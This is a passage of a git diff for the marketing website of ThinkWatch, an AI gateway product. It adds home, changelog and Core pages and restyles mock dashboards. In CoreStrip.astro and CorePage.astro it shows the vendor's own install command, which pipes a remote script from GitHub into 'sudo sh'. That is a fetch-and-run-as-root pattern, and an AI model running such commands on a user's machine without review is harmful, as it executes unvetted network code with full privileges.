=== "article" && modified && } + + + + + + + + + + + + + + +{allJsonLd.map((json) => diff --git a/src/components/TwMark.astro b/src/components/TwMark.astro new file mode 100644 index 0000000..eae5479 --- /dev/null +++ b/src/components/TwMark.astro @@ -0,0 +1,110 @@ +--- +// The ThinkWatch Lite mark as the desktop app draws it on its launch screen: +// four strokes forming "TW", a neon gradient along them (the brand pair, which +// the page's accent tokens follow), and optionally a blurred glow and a +// stroke-by-stroke draw. Coordinates and lengths match the app +// (ThinkWatch-Lite src/launch/LaunchScreen.tsx, src-tauri/icons/render.py). +interface Props { + /** Unique per page: the gradient and filter are referenced by id */ + id: string; + size?: number; + /** Draw the strokes one by one when the page loads */ + draw?: boolean; + /** A soft glow behind the strokes that breathes */ + glow?: boolean; + class?: string; +} +const { id, size = 20, draw = false, glow = false, class: className } = Astro.props; +const V = Math.hypot(4.5, 8); +const strokes: [string, number][] = [ + ["M7 9H25", 18], + ["M16 9V17", 8], + ["M7 17L11.5 25L16 17", 2 * V], + ["M16 17L20.5 25L25 17", 2 * V], +]; +--- + + + + diff --git a/src/components/hero/HeroFallback.tsx b/src/components/hero/HeroFallback.tsx index 41d0bf2..d522343 100644 --- a/src/components/hero/HeroFallback.tsx +++ b/src/components/hero/HeroFallback.tsx @@ -15,22 +15,22 @@ export default function HeroFallback() { > - - - + + + - - + + - - + + - - - + + + @@ -45,13 +45,13 @@ export default function HeroFallback() { (null); - const dir = side === "left" ? 1 : -1; - const start = side === "left" ? -7 : 7; - const { positions, speeds, offsets } = useMemo(() => { + const { positions, speeds } = useMemo(() => { const positions = new Float32Array(count * 3); const speeds = new Float32Array(count); - const offsets = new Float32Array(count); for (let i = 0; i < count; i++) { - // distribute in a cylinder along x axis const angle = Math.random() * Math.PI * 2; const radius = Math.pow(Math.random(), 0.6) * 2.4; - positions[i * 3 + 0] = start + Math.random() * 7 * -dir; + positions[i * 3 + 0] = -7 + Math.random() * 7; // x: -7 → 0 positions[i * 3 + 1] = Math.sin(angle) * radius; positions[i * 3 + 2] = Math.cos(angle) * radius; speeds[i] = 0.018 + Math.random() * 0.045; - offsets[i] = Math.random(); } - return { positions, speeds, offsets }; - }, [count, dir, start]); + return { positions, speeds }; + }, [count]); useFrame((_, delta) => { const pts = ref.current; @@ -47,20 +41,19 @@ function ParticleFlow({ const arr = pos.array as Float32Array; for (let i = 0; i < count; i++) { - arr[i * 3] += speeds[i] * dir * (delta * 60); + arr[i * 3] += speeds[i] * (Math.min(delta, 0.1) * 60); - // Funnel effect: as x approaches 0, squeeze y/z toward 0 - const x = arr[i * 3]; - const distToCenter = Math.abs(x); + // Funnel: squeeze y/z as x → 0 + const distToCenter = Math.abs(arr[i * 3]); const funnel = THREE.MathUtils.clamp(distToCenter / 6, 0.05, 1); arr[i * 3 + 1] *= 0.985 + (1 - funnel) * 0.005; arr[i * 3 + 2] *= 0.985 + (1 - funnel) * 0.005; - // Recycle particles that pass through the center - if ((dir === 1 && x > 0.4) || (dir === -1 && x < -0.4)) { + // Recycle when reaching center + if (arr[i * 3] > 0.4) { const angle = Math.random() * Math.PI * 2; const radius = Math.pow(Math.random(), 0.6) * 2.4; - arr[i * 3 + 0] = start; + arr[i * 3 + 0] = -7; arr[i * 3 + 1] = Math.sin(angle) * radius; arr[i * 3 + 2] = Math.cos(angle) * radius; } @@ -90,6 +83,89 @@ function ParticleFlow({ ); } +/** + * Outbound particle stream: spawns at the center and fans out toward the right, + * spreading into a wider cone as particles move away from the gateway. + */ +function OutboundFlow({ + count = 700, + color, +}: { + count?: number; + color: THREE.Color; +}) { + const ref = useRef(null); + + const { positions, speeds, driftY, driftZ } = useMemo(() => { + const positions = new Float32Array(count * 3); + const speeds = new Float32Array(count); + const driftY = new Float32Array(count); + const driftZ = new Float32Array(count); + for (let i = 0; i < count; i++) { + const t = Math.random(); // 0‥1 along path + const angle = Math.random() * Math.PI * 2; + const spread = t * 2.4; // fans out over distance + positions[i * 3 + 0] = t * 7; // x: 0 → 7 + positions[i * 3 + 1] = Math.sin(angle) * spread; + positions[i * 3 + 2] = Math.cos(angle) * spread; + speeds[i] = 0.018 + Math.random() * 0.045; + // Per-particle drift direction so they fan out naturally + const a = Math.random() * Math.PI * 2; + const r = 0.003 + Math.random() * 0.006; + driftY[i] = Math.sin(a) * r; + driftZ[i] = Math.cos(a) * r; + } + return { positions, speeds, driftY, driftZ }; + }, [count]); + + useFrame((_, delta) => { + const pts = ref.current; + if (!pts) return; + const pos = pts.geometry.attributes.position as THREE.BufferAttribute; + const arr = pos.array as Float32Array; + const dt = Math.min(delta, 0.1) * 60; + + for (let i = 0; i < count; i++) { + arr[i * 3] += speeds[i] * dt; + + // Fan out: push y/z away from axis proportional to distance from center + const distFromCenter = Math.max(arr[i * 3], 0.1); + const fan = THREE.MathUtils.clamp(distFromCenter / 5, 0, 1); + arr[i * 3 + 1] += driftY[i] * fan * dt; + arr[i * 3 + 2] += driftZ[i] * fan * dt; + + // Recycle when reaching the far right + if (arr[i * 3] > 7) { + arr[i * 3 + 0] = 0; + arr[i * 3 + 1] = (Math.random() - 0.5) * 0.3; + arr[i * 3 + 2] = (Math.random() - 0.5) * 0.3; + } + } + pos.needsUpdate = true; + }); + + return ( + + + + + + + ); +} + /** * Central gateway core: rotating wireframe icosahedron + inner glowing sphere. */ @@ -119,7 +195,7 @@ function GatewayCore() { {/* Inner glowing sphere */} - + {/* Outer wireframe icosahedron */} @@ -137,20 +213,48 @@ function GatewayCore() { {/* Soft halo */} - + ); } +/** + * Renders on demand at a fixed rate instead of every display refresh, and not + * at all while the hero is off-screen or the tab is hidden. Particle motion is + * scaled by frame delta, so the scene moves at the same speed at 30 fps. + */ +function FrameLimiter({ fps = 30 }: { fps?: number }) { + const invalidate = useThree((state) => state.invalidate); + const gl = useThree((state) => state.gl); + + useEffect(() => { + let onScreen = true; + const tick = () => { + if (onScreen && document.visibilityState === "visible") invalidate(); + }; + const timer = window.setInterval(tick, 1000 / fps); + const observer = new IntersectionObserver(([entry]) => { + onScreen = entry.isIntersecting; + }); + observer.observe(gl.domElement); + return () => { + window.clearInterval(timer); + observer.disconnect(); + }; + }, [invalidate, gl, fps]); + + return null; +} + function Scene() { return ( <> - + - - + + ); @@ -161,9 +265,11 @@ export default function HeroScene() {
+ diff --git a/src/components/home/CompareEditions.astro b/src/components/home/CompareEditions.astro new file mode 100644 index 0000000..443ea87 --- /dev/null +++ b/src/components/home/CompareEditions.astro @@ -0,0 +1,52 @@ +--- +import { getLang, localePath } from "~/i18n"; +import { homeCopy } from "~/i18n/pages/home"; + +const lang = getLang(Astro); +const c = homeCopy[lang].compare; +const editions = [ + { name: "ThinkWatch Lite", href: localePath(lang, "/lite"), v: c.lite }, + { name: lang === "zh-CN" ? "ThinkWatch 企业版" : "ThinkWatch Enterprise", href: localePath(lang, "/thinkwatch"), v: c.thinkwatch }, + { name: "ThinkWatch Core", href: localePath(lang, "/core"), v: c.core }, +]; +const rows = ["runsAs", "builtFor", "status", "license"] as const; +--- + +
+
+

{c.eyebrow}

+ + + + + + {c.link} +
+
diff --git a/src/components/home/CoreStrip.astro b/src/components/home/CoreStrip.astro new file mode 100644 index 0000000..62c3715 --- /dev/null +++ b/src/components/home/CoreStrip.astro @@ -0,0 +1,42 @@ +--- +// ThinkWatch Core on the home page: what the two products share, and the +// command that installs twcore on a Linux server (see the /core page). +import CopyCommand from "~/components/CopyCommand.astro"; +import { getLang, localePath } from "~/i18n"; +import { homeCopy } from "~/i18n/pages/home"; + +const lang = getLang(Astro); +const c = homeCopy[lang].core; + +const installCommand = + "curl -fsSL https://raw.githubusercontent.com/ThinkWatchProject/ThinkWatch-Core/main/scripts/install.sh | sudo sh"; +--- + +
+
+

+ {c.a}{c.name}{c.b} +

+
+

{c.commandLabel}

+ + {c.docs} +
+
+
+ + diff --git a/src/components/home/HomeHero.astro b/src/components/home/HomeHero.astro new file mode 100644 index 0000000..5fca770 --- /dev/null +++ b/src/components/home/HomeHero.astro @@ -0,0 +1,118 @@ +--- +// Home hero: both products at a glance. Copy on the left with a door into each +// product, a request typed through the gateway on the right. +import Terminal from "~/components/ui/Terminal.tsx"; +import { getLang, localePath } from "~/i18n"; +import { homeCopy } from "~/i18n/pages/home"; +import { getLatestLiteRelease, getLatestRelease } from "~/lib/github"; + +const lang = getLang(Astro); +const c = homeCopy[lang]; +const zh = lang === "zh-CN"; +const lite = (await getLatestLiteRelease())?.tag.replace(/^v/, "") ?? null; +const ent = (await getLatestRelease())?.replace(/^v/, "") ?? null; +--- + +
+ + + +
+ + diff --git a/src/components/home/LiteBand.astro b/src/components/home/LiteBand.astro new file mode 100644 index 0000000..d1588d3 --- /dev/null +++ b/src/components/home/LiteBand.astro @@ -0,0 +1,123 @@ +--- +// The Lite band on the home page: the local gateway, its main points, where it +// runs, and a download, beside its overview screen. Each page shows the +// interface in its own language; see LitePage.astro. +import { getLang, localePath } from "~/i18n"; +import { homeCopy } from "~/i18n/pages/home"; +import LiteDownload from "~/components/LiteDownload.astro"; +import TwMark from "~/components/TwMark.astro"; + +const lang = getLang(Astro); +const c = homeCopy[lang].lite; +const zh = lang === "zh-CN"; +--- + +
+ +
+
+

{c.eyebrow}

+

{c.title}

+
+ {c.points.map((p) => ( +
+

{p.t}

+

{p.b}

+
+ ))} +
+
+ {c.pills[0]} + {c.pills.slice(1).map((pill) => {pill})} +
+
+ + {c.cta} +
+
+
+ {c.shotAlt} +
+
+
+ + diff --git a/src/components/home/Marquee.astro b/src/components/home/Marquee.astro new file mode 100644 index 0000000..ab3d58e --- /dev/null +++ b/src/components/home/Marquee.astro @@ -0,0 +1,28 @@ +--- +import { getLang } from "~/i18n"; +import { homeCopy } from "~/i18n/pages/home"; + +const c = homeCopy[getLang(Astro)]; +const clients = ["Claude Code", "Codex", "Cursor", "Continue", "Cline", "OpenAI SDK", "Anthropic SDK", "Gemini SDK", "opencode", "Zed"]; +--- + +
+

{c.wallLabel}

+
+
    + {[...clients, ...clients].map((name, i) =>
  • = clients.length ? "true" : undefined}>{name}
  • )} +
+
+
+ + diff --git a/src/components/home/Questions.astro b/src/components/home/Questions.astro new file mode 100644 index 0000000..4beefe0 --- /dev/null +++ b/src/components/home/Questions.astro @@ -0,0 +1,180 @@ +--- +// Visibility into every request: three things the gateway records, in hairline +// columns with line art, and a sample trace that plays row by row. +import { getLang } from "~/i18n"; +import { homeCopy } from "~/i18n/pages/home"; + +const lang = getLang(Astro); +const c = homeCopy[lang].questions; +const t = homeCopy[lang].trace; +const rows: { k: string; v: string; tone?: "warn" | "ok" | "flag" }[] = [ + { k: t.client[0], v: t.client[1] }, + { k: t.rule[0], v: t.rule[1] }, + { k: t.hop1[0], v: `${t.hop1[1]} · ${t.hop1[2]} · ${t.hop1[3]}`, tone: "warn" }, + { k: t.hop2[0], v: `${t.hop2[1]} · ${t.hop2[2]} · ${t.hop2[3]}`, tone: "ok" }, + { k: t.cost[0], v: t.cost[1] }, + { k: t.redaction[0], v: t.redaction[1] }, + { k: t.tool[0], v: t.tool[1], tone: "flag" }, +]; +--- + +
+
+

{c.eyebrow}

+
+ {c.items.map((item, i) => ( +
+

{item.tag}

+ +

{item.title}

+

{item.body}

+
+ ))} +
+ +
+
+ + POST /v1/messages + {t.tag} +
+
    + {rows.map((r, i) => ( +
  1. + {r.k}{r.v} +
  2. + ))} +
+

{t.note}

+
+
+
+ + diff --git a/src/components/home/ThinkWatchBand.astro b/src/components/home/ThinkWatchBand.astro new file mode 100644 index 0000000..d7233a3 --- /dev/null +++ b/src/components/home/ThinkWatchBand.astro @@ -0,0 +1,231 @@ +--- +// ThinkWatch Enterprise on the home page: what it is, its four pillars as +// tiles, the six stages of a request as a pipeline a light runs along, the +// console preview, and per-user identity for MCP. +import DashboardMock from "~/components/mocks/DashboardMock.tsx"; +import LogExplorerMock from "~/components/mocks/LogExplorerMock.tsx"; +import ProviderHealthMock from "~/components/mocks/ProviderHealthMock.tsx"; +import RateLimitMock from "~/components/mocks/RateLimitMock.tsx"; +import { getLang, localePath } from "~/i18n"; +import { homeCopy } from "~/i18n/pages/home"; + +const lang = getLang(Astro); +const c = homeCopy[lang].tw; +/** Line icons for the four pillars, in the order of the copy */ +const icons = [ + '', + '', + '', + '', +]; +--- + +
+
+
+
+

{c.eyebrow}

+

{c.title}

+

{c.sub}

+
+ {c.cta} +
+ +
+ {c.features.map((f, i) => ( +
+ +

{f.t}

+

{f.b}

+
+ ))} +
+ +

{c.stepsLabel}

+
    + {c.steps.map((s, i) => ( +
  1. + + {String(i + 1).padStart(2, "0")} + {s.t} + {s.b} +
  2. + ))} +
+ +
+

{c.consoleLabel}

+ {c.sample} +
+
+ +
+
+
+ +
+
+ + +
+
+ +
+

{c.quoteLabel}

+

{c.quoteA}{c.quoteEm}{c.quoteB}

+

{c.quoteBody}

+
+
+
+ + diff --git a/src/components/mocks/DashboardMock.tsx b/src/components/mocks/DashboardMock.tsx index a848f4a..8e1fb99 100644 --- a/src/components/mocks/DashboardMock.tsx +++ b/src/components/mocks/DashboardMock.tsx @@ -78,7 +78,7 @@ const stats: Stat[] = [ value: 8_420_137, format: (v) => fmtCompact.format(v), delta: "+12.4%", - color: "#22D3EE", + color: "#22E5F2", spark: sparkPoints(7), }, { @@ -86,7 +86,7 @@ const stats: Stat[] = [ value: 1287.42, format: (v) => fmtUsd.format(v), delta: "+8.1%", - color: "#A78BFA", + color: "#8FDDB0", spark: sparkPoints(13), }, { @@ -94,7 +94,7 @@ const stats: Stat[] = [ value: 47, format: (v) => fmtInt.format(Math.round(v)), delta: "+3", - color: "#F472B6", + color: "#A9B8FF", spark: sparkPoints(21), }, { @@ -102,7 +102,7 @@ const stats: Stat[] = [ value: 1342, format: (v) => fmtInt.format(Math.round(v)), delta: "live", - color: "#67E8F9", + color: "#E5C07B", spark: sparkPoints(33), }, ]; @@ -122,20 +122,20 @@ export default function DashboardMock() { function StatCard({ stat, active }: { stat: Stat; active: boolean }) { const v = useCounter(stat.value, active); return ( -
+
-
-
{stat.label}
+
+
{stat.label}
{stat.delta}
-
+
{stat.format(v)}
diff --git a/src/components/mocks/LogExplorerMock.tsx b/src/components/mocks/LogExplorerMock.tsx index 7bb4a0e..3594ab9 100644 --- a/src/components/mocks/LogExplorerMock.tsx +++ b/src/components/mocks/LogExplorerMock.tsx @@ -26,7 +26,13 @@ const models = [ ]; let counter = 1000; -function makeRow(seed: number): LogRow { +function fmtTime(d: Date): string { + return [d.getHours(), d.getMinutes(), d.getSeconds()] + .map((n) => String(n).padStart(2, "0")) + .join(":"); +} + +function makeRow(seed: number, when: Date = new Date()): LogRow { const r = (n: number) => { seed = (seed * 9301 + 49297 + n) % 233280; return seed / 233280; @@ -34,7 +40,7 @@ function makeRow(seed: number): LogRow { const status: Status = r(1) > 0.94 ? (r(2) > 0.6 ? 429 : r(3) > 0.5 ? 500 : 401) : 200; return { id: counter++, - ts: new Date().toISOString().slice(11, 19), + ts: fmtTime(when), user: users[Math.floor(r(4) * users.length)], key: keys[Math.floor(r(5) * keys.length)], model: models[Math.floor(r(6) * models.length)], @@ -51,12 +57,31 @@ const STATUS_COLOR: Record = { 500: "text-red-300 bg-red-500/10", }; +// Stable seed values used for SSR + first paint so React's hydration doesn't mismatch. +// Real timestamps are filled in on the client in a useEffect after mount. +const PLACEHOLDER_TS = "--:--:--"; + export default function LogExplorerMock() { const [ref, inView] = useInView(); const [rows, setRows] = useState(() => - Array.from({ length: 14 }, (_, i) => makeRow(i * 17 + 3)), + Array.from({ length: 14 }, (_, i) => ({ + ...makeRow(i * 17 + 3, new Date(0)), + ts: PLACEHOLDER_TS, + })), ); + // After hydration, replace the seeded rows with ones whose timestamps span + // the last ~30 seconds so the panel doesn't open on a wall of identical times. + useEffect(() => { + const now = Date.now(); + setRows( + Array.from({ length: 14 }, (_, i) => { + const when = new Date(now - i * 2200); + return makeRow(i * 17 + 3, when); + }), + ); + }, []); + useEffect(() => { if (!inView) return; let seed = Date.now() % 9999; @@ -68,35 +93,36 @@ export default function LogExplorerMock() { }, [inView]); return ( -
+
{/* Top bar */} -
-
+
+
-
- › - status:200 model:claude-* tokens:>500 +
+ › + status:200 model:claude-*
-
+
live
- {/* Column headers */} + {/* Column headers. Columns follow the panel's own width, not the window's: in the + hero it sits in half the page, where seven columns would all be cut short. */}
-
time
+
time
user
-
key
-
model
-
tokens
-
ms
+
key
+
model
+
tokens
+
ms
status
@@ -106,20 +132,20 @@ export default function LogExplorerMock() {
  • -
    {r.ts}
    +
    {r.ts}
    {r.user}
    -
    {r.key}
    -
    {r.model}
    -
    +
    {r.key}
    +
    {r.model}
    +
    {r.tokens.toLocaleString()}
    -
    {r.ms}
    +
    {r.ms}
    - {/* Compact: visible only at < sm — collapses model + tokens onto user line */} -
    + {/* Compact: visible only when the panel is narrower than 28rem — collapses model + tokens onto user line */} +
    {r.model} · {r.tokens}t
    diff --git a/src/components/mocks/ProviderHealthMock.tsx b/src/components/mocks/ProviderHealthMock.tsx index 55a1bff..49e3b9a 100644 --- a/src/components/mocks/ProviderHealthMock.tsx +++ b/src/components/mocks/ProviderHealthMock.tsx @@ -93,8 +93,8 @@ export default function ProviderHealthMock() { width: `${latencyBar}%`, background: p.status === "degraded" - ? "linear-gradient(90deg, #FBBF24, #F472B6)" - : "linear-gradient(90deg, #22D3EE, #A78BFA)", + ? "linear-gradient(90deg, #E5C07B, #F2A3B3)" + : "linear-gradient(90deg, #22E5F2, #F05CD8)", }} />
    diff --git a/src/components/mocks/RateLimitMock.tsx b/src/components/mocks/RateLimitMock.tsx index ad90f05..755b454 100644 --- a/src/components/mocks/RateLimitMock.tsx +++ b/src/components/mocks/RateLimitMock.tsx @@ -3,11 +3,18 @@ import { useInView } from "../hooks/useInView"; const BUCKETS = 30; const LIMIT = 100; +const TYPICAL = 62; -function genBucket(seed: number, base: number) { +/** + * One bucket's request count: a step from the previous one that drifts back + * towards the typical load, capped at the limit, since a limiter never lets a + * bucket past it. + */ +function genBucket(seed: number, prev: number) { seed = (seed * 9301 + 49297) % 233280; const r = seed / 233280; - return Math.max(0, Math.round(base + (r - 0.4) * 35)); + const base = prev * 0.6 + TYPICAL * 0.4; + return Math.min(LIMIT, Math.max(0, Math.round(base + (r - 0.5) * 40))); } export default function RateLimitMock() { @@ -60,14 +67,14 @@ export default function RateLimitMock() { const pct = Math.min(100, (b / LIMIT) * 100); const over = b > LIMIT * 0.9; return ( -
    +
    diff --git a/src/components/pages/ChangelogPage.astro b/src/components/pages/ChangelogPage.astro new file mode 100644 index 0000000..b895c91 --- /dev/null +++ b/src/components/pages/ChangelogPage.astro @@ -0,0 +1,553 @@ +--- +// The /changelog page: the releases of ThinkWatch Enterprise, ThinkWatch Lite +// and ThinkWatch Core, newest first and grouped by month, filterable by +// product, under the latest release of each. Each release shows its version +// and date and links to its page on GitHub; the Enterprise releases written up +// on this site also show their notes. Copy lives in +// src/i18n/pages/changelog.ts, the list in src/lib/changelog.ts. +import { render } from "astro:content"; +import Base from "~/layouts/Base.astro"; +import SiteHeader from "~/components/SiteHeader.astro"; +import SiteFooter from "~/components/SiteFooter.astro"; +import NeonMotion from "~/components/NeonMotion.astro"; +import { getLang } from "~/i18n"; +import { changelogCopy } from "~/i18n/pages/changelog"; +import { getChangelog, releaseProductName, type ChangelogEntry } from "~/lib/changelog"; +import { breadcrumbs, webPage } from "~/lib/structured-data"; + +const lang = getLang(Astro); +const c = changelogCopy[lang]; +const entries = await getChangelog(lang); + +const jsonLd = [ + webPage(lang, "/changelog", c.meta.title, c.meta.description), + breadcrumbs(lang, "/changelog", c.meta.breadcrumbHome, c.meta.breadcrumbPage), +]; + +// Release times are UTC; format them in UTC so the date does not depend on where the site is built. +const fmt = new Intl.DateTimeFormat(c.dateLocale, { ...c.dateFormat, timeZone: "UTC" }); +const fmtFull = new Intl.DateTimeFormat(c.dateLocale, { ...c.fullDateFormat, timeZone: "UTC" }); +const fmtMonth = new Intl.DateTimeFormat(c.dateLocale, { ...c.monthFormat, timeZone: "UTC" }); + +const products = ["lite", "enterprise", "core"] as const; +const count = (id: string) => (id === "all" ? entries.length : entries.filter((e) => e.product === id).length); +const filters = [{ id: "all", label: c.all }, ...products.map((id) => ({ id, label: c.filters[id] }))]; + +// The latest release of each product; its tile leads to its notes on this page when it has any. +const latest = products + .map((id) => entries.find((e) => e.product === id)) + .filter((e): e is ChangelogEntry => Boolean(e)) + .map((e) => ({ ...e, onPage: Boolean(e.notes || e.releaseNotes) || !e.url })); + +// Newest month first; releases keep their newest-first order inside it. +const months: { key: string; label: string; items: ChangelogEntry[] }[] = []; +for (const e of entries) { + const key = `${e.date.getUTCFullYear()}-${e.date.getUTCMonth()}`; + if (months.at(-1)?.key !== key) months.push({ key, label: fmtMonth.format(e.date), items: [] }); + months.at(-1)!.items.push(e); +} +--- + + + +
    +
    + + +
    +

    {c.eyebrow}

    +

    {c.titleA}{c.titleHighlight}

    +

    + {c.intro}{c.rss}{c.introEnd} +

    + +

    {c.latest}

    + +
    +
    + +
    +
    + {filters.map((f, i) => ( + + ))} +
    + +
    + {months.map((m) => ( +
    +

    {m.label}

    +
      + {m.items.map(async (entry) => { + const name = releaseProductName(entry.product, lang); + const notes = entry.notes; + const published = notes ? undefined : entry.releaseNotes; + const source = notes ?? published; + const Content = source ? (await render(source)).Content : null; + // Notes that exist only in the other language: Core's and Enterprise's are + // English only, and the first Lite releases have Chinese notes only + const otherLang = published && published.data.lang !== lang ? published.data.lang : undefined; + // A release with notes opens in place to show them + const Wrap = Content ? "details" : "div"; + const Row = Content ? "summary" : "div"; + return ( +
    1. + {/* The anchor the release had while the page listed Enterprise alone (#v0.4.0). */} + {entry.legacyId && } + + + + {name} + + {entry.tag} + {otherLang && {otherLang === "en" ? "EN" : "中文"}} + + {entry.url ? ( + + {c.github} ↗ + + ) : } + + + {Content && ( +
      + {notes &&

      {notes.data.title}

      } + {notes?.data.highlights && ( +
        + {notes.data.highlights.map((h) =>
      • {h}
      • )} +
      + )} +
      +
      + )} +
      +
    2. + ); + })} +
    +
    + ))} +
    +
    +
    + + + + + + + diff --git a/src/components/pages/CorePage.astro b/src/components/pages/CorePage.astro new file mode 100644 index 0000000..256dfb0 --- /dev/null +++ b/src/components/pages/CorePage.astro @@ -0,0 +1,677 @@ +--- +// The /core page: ThinkWatch Core, the MIT-licensed Rust crates and the twcore +// binary. twcore is the gateway inside ThinkWatch Lite and also runs on its own +// on a Linux server; ThinkWatch Enterprise depends on four of the crates. +import Base from "~/layouts/Base.astro"; +import SiteHeader from "~/components/SiteHeader.astro"; +import SiteFooter from "~/components/SiteFooter.astro"; +import CopyCommand from "~/components/CopyCommand.astro"; +import NeonMotion from "~/components/NeonMotion.astro"; +import { getLang, localePath } from "~/i18n"; +import { coreCopy } from "~/i18n/pages/core"; +import { formatSize, getLatestCoreRelease, getReleases } from "~/lib/github"; +import { coreLd } from "~/lib/structured-data"; + +const lang = getLang(Astro); +const c = coreCopy[lang]; +const zh = lang === "zh-CN"; + +const repo = "https://github.com/ThinkWatchProject/ThinkWatch-Core"; +const docsHref = localePath(lang, "/docs/core"); +const serverDocsHref = localePath(lang, "/docs/core/server-deployment"); +const configDocsHref = localePath(lang, "/docs/core/configuration"); +const layersDocsHref = localePath(lang, "/docs/core/crate-layers"); +const jsonLd = await coreLd(lang); + +// The server install script, scripts/install.sh in the Core repository. +const installScript = "https://raw.githubusercontent.com/ThinkWatchProject/ThinkWatch-Core/main/scripts/install.sh"; +const installCommand = `curl -fsSL ${installScript} | sudo sh`; +// The service unit runs core as this user, with this data directory. +const asServiceUser = "sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore …"; + +// Prebuilt binaries. The file names are fixed by Core's release workflow +// (twcore upgrade and the install script depend on them as well). Links point +// at the latest release read at build time, or at GitHub's redirect to the +// latest release when GitHub could not be reached; the version then comes from +// the committed list of releases (src/data/releases.json) and no sizes are shown. +const release = await getLatestCoreRelease(); +const tag = release?.tag ?? (await getReleases()).find((r) => r.product === "core")?.tag; +const version = tag?.replace(/^v/, ""); +const download = (file: string) => release?.assets[file] ?? `${repo}/releases/latest/download/${file}`; +const size = (file: string) => formatSize(release?.sizes[file]); +const binaries: { label: string; file: string; archive?: string }[] = [ + { label: c.install.platforms.mac, file: "twcore-aarch64-apple-darwin" }, + { label: c.install.platforms.winX64, file: "twcore-x86_64-pc-windows-msvc.exe" }, + { label: c.install.platforms.winArm, file: "twcore-aarch64-pc-windows-msvc.exe" }, + { label: c.install.platforms.linuxX64, file: "twcore-x86_64-unknown-linux-gnu", archive: "twcore-x86_64-unknown-linux-gnu.tar.gz" }, + { label: c.install.platforms.linuxArm, file: "twcore-aarch64-unknown-linux-gnu", archive: "twcore-aarch64-unknown-linux-gnu.tar.gz" }, +]; +const sourceCommands = [ + "git clone https://github.com/ThinkWatchProject/ThinkWatch-Core.git", + "cd ThinkWatch-Core", + "cargo build --release -p twcore", +]; + +/** What twcore serve prints once it is up: illustrative lines for the hero terminal */ +const serveLog = [ + 'ready gateway 127.0.0.1:8788 · control socket', + 'POST /v1/messages claude-code → anthropic 200 1.2 s', + 'POST /v1/responses codex → chatgpt 429 → relay 200', +]; +const eyebrow = "font-mono text-[11px] uppercase tracking-[0.08em] text-[var(--color-muted)] sm:text-[13px]"; +const label = "m-0 font-mono text-[13px] uppercase tracking-[0.08em] text-[var(--color-muted)]"; +const h2 = zh + ? "font-display m-0 text-[26px] leading-[1.35] sm:text-[32px] lg:text-[36px]" + : "font-display m-0 text-[30px] leading-[1.15] sm:text-[36px] lg:text-[40px]"; +const textLink = + "inline-flex min-h-11 items-center text-[17px] font-medium text-[var(--color-brand-1)] transition-colors hover:text-[var(--color-brand-2)]"; +const fileLink = "break-all text-[var(--color-brand-1)] transition-colors hover:text-[var(--color-brand-2)]"; +--- + + + +
    +
    + + +
    +
    + {version && ( + {c.motion.announce(version)}→ + )} +

    + {/* Chinese: the break goes after 的, so neither half runs under the terminal */} + {zh ? {c.hero.titleA.trim()}
    : c.hero.titleA}{c.hero.titleHighlight} +

    +

    {c.hero.sub}

    + +
    + +
    +
    + + {c.hero.cardTitle} + {c.motion.sample} +
    +
      + {c.hero.commands.map((row) => ( + +
    1. $ {row.cmd}
    2. +
    3. {row.note}
    4. +
      + ))} + {serveLog.map((line) => ( +
    5. + ))} +
    +
    +
    +
    + +
    +
    +

    {c.does.eyebrow}

    +

    {c.motion.doesTitle}{c.motion.doesTitleDim}

    +
    +
    + +

    {c.does.items[0].title}

    +

    {c.does.items[0].body}

    +
    +
    + +

    {c.does.items[1].title}

    +

    {c.does.items[1].body}

    +
    +
    +

    $0.0124

    + +

    {c.does.items[2].title}

    +

    {c.does.items[2].body}

    +
    +
    + +

    {c.does.items[3].title}

    +

    {c.does.items[3].body}

    +
    +
    + +

    {c.does.items[4].title}

    +

    {c.does.items[4].body}

    +
    +
    + +
    +

    {c.does.items[5].title}

    +

    {c.does.items[5].body}

    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +

    {c.install.eyebrow}

    +

    {c.install.title}

    + {c.install.body.map((text) => ( +

    {text}

    + ))} + +
    + +
    +

    {c.install.scriptLabel}

    + +

    {c.install.pinNote}

    + +

    {c.install.nextLabel}

    +
    +
      + {c.install.next.map((row) => ( +
    • + {row.cmd} + {row.note} +
    • + ))} +
    +
    +
    +

    {c.install.serviceUser}

    + {asServiceUser} +
    +
    +
    + +
    +
    +

    {c.install.binariesTitle}

    +

    {c.install.binariesBody}

    +
      + {binaries.map((b) => ( +
    • + {b.label} + + {b.file} + {size(b.file) && {size(b.file)}} + sha256 + {b.archive && tar.gz} + +
    • + ))} +
    +

    + {version && `${c.install.version} ${version} · `} + {c.install.releases} +

    +
    + +
    +

    {c.install.sourceTitle}

    +

    {c.install.sourceBody}

    +
    +
      + {sourceCommands.map((cmd) => ( +
    • $ {cmd}
    • + ))} +
    +
    +
    +
    +
    +
    + +
    +
    +

    {c.layers.eyebrow}

    +
      + {c.layers.rows.map((row) => ( +
    1. + {row.name} + {row.crates} + {row.mark === "shared" ? ( + + {c.layers.sharedTag} + + ) : row.mark === "local" ? ( + {c.layers.localNote} + ) : ( + + )} +
    2. + ))} +
    +

    {c.layers.footnote}

    + {c.layers.docs} +
    +
    + +
    +
    +
    +

    {c.dev.eyebrow}

    +

    {c.dev.title}

    +

    {c.dev.body}

    +
    +
    +
      + {c.dev.commands.map((row) => ( +
    • + {row.cmd} + {row.note} +
    • + ))} +
    +
    +
    +
    + +
    +
    +
    +
    +

    {c.license.title}

    +

    {c.license.body}

    +
    + + {c.license.link} + + +
    +
    +
    +
    + + + + + + + + diff --git a/src/components/pages/HomePage.astro b/src/components/pages/HomePage.astro new file mode 100644 index 0000000..8f52c93 --- /dev/null +++ b/src/components/pages/HomePage.astro @@ -0,0 +1,44 @@ +--- +import Base from "~/layouts/Base.astro"; +import SiteHeader from "~/components/SiteHeader.astro"; +import SiteFooter from "~/components/SiteFooter.astro"; +import HomeHero from "~/components/home/HomeHero.astro"; +import Marquee from "~/components/home/Marquee.astro"; +import Questions from "~/components/home/Questions.astro"; +import ThinkWatchBand from "~/components/home/ThinkWatchBand.astro"; +import LiteBand from "~/components/home/LiteBand.astro"; +import CoreStrip from "~/components/home/CoreStrip.astro"; +import CompareEditions from "~/components/home/CompareEditions.astro"; +import NeonMotion from "~/components/NeonMotion.astro"; +import { getLang } from "~/i18n"; +import { homeCopy } from "~/i18n/pages/home"; +import { coreLd, enterpriseLd, liteLd, webPage, website } from "~/lib/structured-data"; + +const lang = getLang(Astro); +const c = homeCopy[lang]; + +// The home page introduces all three products, so it describes each of them, +// the same way their own pages do. +const jsonLd = [ + website, + webPage(lang, "/", c.meta.title, 